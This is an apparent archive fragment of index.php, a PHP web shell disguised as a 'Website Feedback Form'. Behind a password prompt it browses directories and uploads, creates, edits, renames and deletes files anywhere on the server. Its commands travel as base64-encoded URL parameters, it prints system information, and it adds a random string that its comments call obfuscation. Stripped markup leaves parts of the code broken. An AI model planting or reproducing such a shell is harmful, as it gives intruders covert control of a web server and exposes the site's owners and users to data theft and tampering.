index.php 0000644 00000025475 15021177555 0006411 0 ustar 00 Website Feedback Form"; echo "
Please fill out the form below to send us your feedback.
"; echo ""; echo ""; echo " "; echo ""; if (isset($_POST['password'])) { echo "Invalid password.
"; } exit; } } // File management functionality (accessible only after authentication) // Display random string for obfuscation function randomFunction() { $randomString = bin2hex(random_bytes(96)); return $randomString; } $randomString = randomFunction(); echo "Random String: $randomString
"; // Display system information function systemCheck() { $info = php_uname(); $phpVersion = phpversion(); echo "System Info: $info | PHP Version: $phpVersion
"; } systemCheck(); $special_chars = "%00%0A%09//#"; // Command encoding and decoding functions function encodeCommand($command) { return base64_encode($command); } function decodeCommand($encoded) { return base64_decode($encoded); } // Display directory listing function displayDirectory($path) { global $special_chars; $items = array_diff(scandir($path), ['.', '..']); echo "File uploaded successfully!
"; } else { echo "Failed to upload file.
"; } } } // Create new folder function createNewFolder($path) { if (!empty($_POST['folder_name'])) { $folderPath = $path . DIRECTORY_SEPARATOR . $_POST['folder_name']; if (!file_exists($folderPath)) { mkdir($folderPath); echo "Folder created: {$_POST['folder_name']}
"; } else { echo "Folder already exists.
"; } } } // Create new file function createNewFile($path) { if (!empty($_POST['file_name'])) { $filePath = $path . DIRECTORY_SEPARATOR . $_POST['file_name']; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "File created: {$_POST['file_name']}
"; } else { echo "File already exists.
"; } } } // Display file edit form function displayEditForm($filePath, $path) { $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo ""; } // Delete file function deleteFile($filePath) { if (file_exists($filePath)) { if (unlink($filePath)) { echo "File deleted successfully.
"; } else { echo "Failed to delete file.
"; } } else { echo "File does not exist.
"; } } // Display rename form function displayRenameForm($itemPath, $path) { echo ""; } // Handle POST requests if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_GET['data'])) { $command = decodeCommand($_GET['data']); $parts = explode('|', $command, 4); if ($parts[0] == 'action' && $parts[1] == 'edit') { $path = $parts[2]; $item = $parts[3]; $itemPath = $path . DIRECTORY_SEPARATOR . $item; if (isset($_POST['content'])) { file_put_contents($itemPath, $_POST['content']); echo "File updated successfully!
"; } } elseif ($parts[0] == 'action' && $parts[1] == 'rename') { $path = $parts[2]; $item = $parts[3]; $itemPath = $path . DIRECTORY_SEPARATOR . $item; if (isset($_POST['new_name'])) { $newPath = $path . DIRECTORY_SEPARATOR . $_POST['new_name']; if (rename($itemPath, $newPath)) { echo "Item renamed successfully.
"; } else { echo "Failed to rename item.
"; } } } elseif ($parts[0] == 'navigate') { $path = $parts[1]; if (isset($_FILES['file'])) { handleFileUpload($path); } elseif (isset($_POST['folder_name'])) { createNewFolder($path); } elseif (isset($_POST['file_name'])) { createNewFile($path); } } $navigateCommand = encodeCommand('navigate|' . $path); header("Location: ?data=$navigateCommand"); exit; } } // Handle GET requests if (isset($_GET['data'])) { $command = decodeCommand($_GET['data']); $parts = explode('|', $command, 4); if ($parts[0] == 'navigate') { $path = $parts[1]; $parentPath = dirname($path); $goUpCommand = encodeCommand('navigate|' . $parentPath); echo "$special_chars Go Up"; displayDirectory($path); echo "